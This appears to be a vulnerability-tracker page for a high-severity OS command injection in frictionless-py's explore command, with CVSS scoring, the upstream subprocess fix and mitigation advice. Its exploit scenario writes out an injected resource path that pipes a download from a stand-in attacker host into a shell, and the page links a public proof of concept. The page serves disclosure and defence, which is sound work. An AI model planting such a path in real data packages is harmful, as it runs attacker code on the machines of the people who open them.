Skip to main content

frictionless-py EUVDEUVD-2026-85420

| CVE-2026-93349 HIGH
OS Command Injection (CWE-78)
2026-09-23 VulnCheck GHSA-4jpg-jrw7-h58p
8.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious datapackage.json with shell metacharacters in resource path
  2. Delivery
    Deliver package to victim (share/publish/repo)
  3. Exploit
    Victim runs 'frictionless explore' on untrusted package
  4. Execution
    Metacharacters passed to os.system via shell
  5. Impact
    Arbitrary commands execute in victim's security context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the victim to run the frictionless explore console command against an attacker-controlled Data Package whose datapackage.json contains shell metacharacters in a resource path value; these are concatenated unsanitized into an os.system shell invocation (vd {paths}). Limiting factors: exploitation depends on active user interaction (UI:A) - the victim must choose to explore an untrusted package - and on affected versions (through 5.20.0rc1) before the PR#1820 fix; the code path invokes the VisiData vd tool. There is no privilege requirement (PR:N) and no authentication step, but the attack is not self-triggering and requires social engineering or a supply-chain delivery of the malicious package.

Impact

This is a genuine, actionable priority within its deployment niche, though tempered by a required-user-interaction gate. The CVSS 4.0 vector (8.6) shows AV:N/AC:L/PR:N with full VC:H/VI:H/VA:H impact - arbitrary command execution in the victim's security context - but critically carries UI:A (Active user interaction required): a victim must actually run frictionless explore against the attacker-supplied Data Package. This is corroborated by the source code evidence: the sink is os.system(f"vd {' '.join(paths)}"), and the PR#1820 fix replaces it with subprocess.run(["vd", *paths]) (no shell), confirming both the root cause (unsanitized paths through a shell) and the trigger (running the explore command). A public POC exists (SaiTeja-Erukude GitHub repo) and the flaw was reported by VulnCheck, which raises the practical exploitation likelihood. No EPSS score and no CISA KEV listing were provided, so there is no evidence of active exploitation - the risk is currently POC-driven, not in-the-wild-confirmed. The main tension to note: PR:N labels this unauthenticated, but exploitation is fundamentally a social-engineering/supply-chain style attack requiring the victim to voluntarily explore an untrusted package, so real-world risk is meaningfully lower than the 8.6 headline suggests for anyone who does not process untrusted Data Packages.

Exploit ScenarioDerived

An attacker publishes or shares a malicious Data Package whose datapackage.json embeds shell metacharacters (e.g., a resource path like table;curl attacker/x|sh). A data engineer or analyst downloads it and runs frictionless explore to inspect it, at which point the crafted path is concatenated into an os.system shell call and the attacker's commands execute as that user. A public proof-of-concept exploit is available on GitHub, lowering the barrier to weaponization.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 public PoC No patch listed yet 2.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 23, 2026

OS command injection in the frictionless-py framework through 5.20.0rc1 lets unauthenticated remote attackers execute arbitrary operating system commands in the victim's security context when the victim runs the frictionless explore console command against an attacker-supplied Data Package. The flaw is reachable because resource path values from an untrusted datapackage.json are concatenated unsanitized into a shell invocation (vd {paths} via os.system), so shell metacharacters placed in a path are interpreted by the shell rather than treated as a filename. Exploitation requires victim interaction (CVSS UI:A) - the user must deliberately explore the malicious package - and publicly available exploit code exists, including a proof-of-concept repository; there is no data provided indicating confirmed active exploitation, and the assessed CVSS:3.1 vector is AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (vendor CVSS:4.0 8.6, PR:N/UI:A), so impact is high on confidentiality, integrity and availability of the user's environment but gate-controlled by the social-engineering step.

RemediationAI

Vendor fix: upstream PR/commit available (https://github.com/frictionlessdata/frictionless-py/pull/1820), which replaces the shell-based os.system(f"vd {paths}") call with subprocess.run(["vd", *paths], check=False); the released patched version is not independently confirmed from the supplied data, so update to the first frictionless-py release that includes this change (anything strictly newer than 5.20.0rc1) and, until then, backport the one-line subprocess change locally or vendor-patch the installed package. Compensating controls, with trade-offs: never run frictionless explore against a Data Package from an untrusted or third-party source - inspect datapackage.json and reject or rename any resource path containing characters such as ;, &, |, backticks, $, newlines or quotes, though this is a manual, error-prone gate that a supply-chain update can bypass; run the command in a disposable container, VM or low-privilege account with no credentials, network access or writable sensitive mounts, which limits post-exploitation reach but does not fix the injection; and if VisiData is unnecessary, remove the vd binary or invoke the CLI without the explore subcommand so the vulnerable path is unreachable, at the cost of losing that visualization feature. Operators should also treat any pipeline that auto-fetches and explores third-party Data Packages as a supply-chain delivery vector and add descriptor-path validation ahead of automation. Advisory: https://www.vulncheck.com/advisories/frictionless-os-command-injection-via-explore-console-command; exploit context: https://github.com/SaiTeja-Erukude/CVE-2026-93349-frictionless-command-injection.

Affected VersionsENISA

frictionless-py 0 ≤5.20.0rc1

Affected Packages

euvd frictionless_py no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

frictionless-py is a Python data-validation and Data Package framework; its command line interface includes an explore subcommand that shells out to the VisiData interactive viewer (vd) to display tabular resources referenced by a Data Package descriptor. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): the explore implementation collected resource paths and executed os.system(f"vd {' '.join(paths)}"), passing attacker-influenceable strings through a shell. Any shell metacharacter (e.g. ;, &&, |, backticks, $()) embedded in a resource path inside datapackage.json is therefore reinterpreted as command syntax when the descriptor is explored. The vulnerability class is injected-command execution in the invoking user's process, and there is no authentication or privilege prerequisite in the vector (PR:N); the only barrier is the user interaction of exploring an untrusted package (UI:A) and the availability of the vd executable, which is installed with VisiData. The upstream remedy in pull request #1820 replaces os.system with subprocess.run(["vd", *paths], check=False), which removes the shell entirely so metacharacters remain literal argument data; the accompanying test asserts that a path such as table;echo injected.csv is handed to vd as a single argument.

Know when Frictionless Py gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Package is delivered over the network (AV:N) and needs no privileges (PR:N), but the victim must run explore on it (UI:R); command execution yields full C/I/A impact within the user's context (S:U).

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Frictionless through 5.20.0rc1 contains an OS command injection vulnerability in the explore console command that allows an attacker who supplies a crafted Data Package descriptor to execute arbitrary operating system commands as the user who explores it. Attackers can place shell metacharacters in resource path values within a datapackage.json descriptor, which are passed unsanitized to os.system through a shell, causing arbitrary command execution in the victim's security context when they run the explore command against the untrusted package.

Technical POC Analysis

CWE-78 (OS command injection), with CWE-20 (improper input validation) also assigned by the reporter.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

The frictionless-py data validation framework (all versions through 5.20.0rc1) contains a high-severity command injection flaw, CVE-2026-93349, that lets an attacker execute arbitrary operating system commands on any machine where a user opens an untrusted Data Package with the frictionless explore command. Because the code is widely embedded in data-engineering pipelines, CI/CD jobs, and analyst workstations, a single malicious datapackage.json obtained from a third party can compromise the credentials, data, and integrity of that user's environment. No vendor patch is available and publicly available exploit code exists, making this an active supply-chain exposure that requires immediate operational restrictions.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: prohibit running frictionless explore against externally sourced Data Packages; block or quarantine untrusted datapackage.json files at the network and repository boundary; execute any required processing in a disposable, least-privilege sandbox (container/VM with no host mounts, no stored credentials, restricted egress); remove frictionless-py from build agents and pipelines that do not require it; validate or rewrite resource path values so they cannot contain shell metacharacters before use; deploy application allowlisting and host-based monitoring to alert on shell or vd process execution spawned by Python; and audit logs for prior exploitation attempts.

Threat Intelligence Overview

EPSS Score
2.0%
Top 20% exploitable
Prevalence
Low
niche open-source Python data-engineering CLI/framework, not broadly deployed in production
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 2.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy